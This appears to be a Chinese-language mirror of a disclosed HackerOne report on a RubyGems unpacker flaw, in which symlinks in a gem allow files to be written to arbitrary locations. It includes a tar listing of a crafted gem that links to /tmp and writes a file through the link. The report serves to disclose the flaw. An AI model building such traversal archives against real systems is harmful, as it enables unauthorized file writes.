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地图 / Unpacker improperly validates symlinks, allowing gems writes to arbitrary locations

Unpacker improperly validates symlinks, allowing gems writes to arbitrary locations

路径遍历 / 路径遍历 / #270072

厂商
RubyGems
严重程度
低危
赏金
—
弱点
路径遍历
研究员
@nmalkin
披露日期
2018-12-31
资产
https://github.com/rubygems/rubygems
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(2965 字符中的一小部分)
Unpacker improperly validates symlinks, allowing gems writes to arbitrary locations
原文中的代码
$ tar -xvf symlink.gem
metadata.gz
data.tar.gz
$ tar -tvf data.tar.gz
-rw-r--r-- 0/0              12 1969-12-31 16:00 README
lrw-r--r-- 0/0               0 1969-12-31 16:00 link -> /tmp
-rw-r--r-- 0/0               6 1969-12-31 16:00 link/HACKED

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 RubyGems 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @nmalkin · 版权归作者与 RubyGems 所有

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